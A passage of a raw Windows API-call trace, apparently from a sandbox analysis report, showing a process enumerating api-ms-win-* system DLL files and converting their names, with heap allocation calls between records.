[0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x252c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.682] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.682] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x252c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0165.682] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.683] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x252c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.683] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x252c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.683] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x252c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0165.683] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.683] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.683] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.684] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x5760, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8445930, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8445930, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8125c50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8125c50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x10360, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.684] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84b7d50, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84b7d50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.685] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, 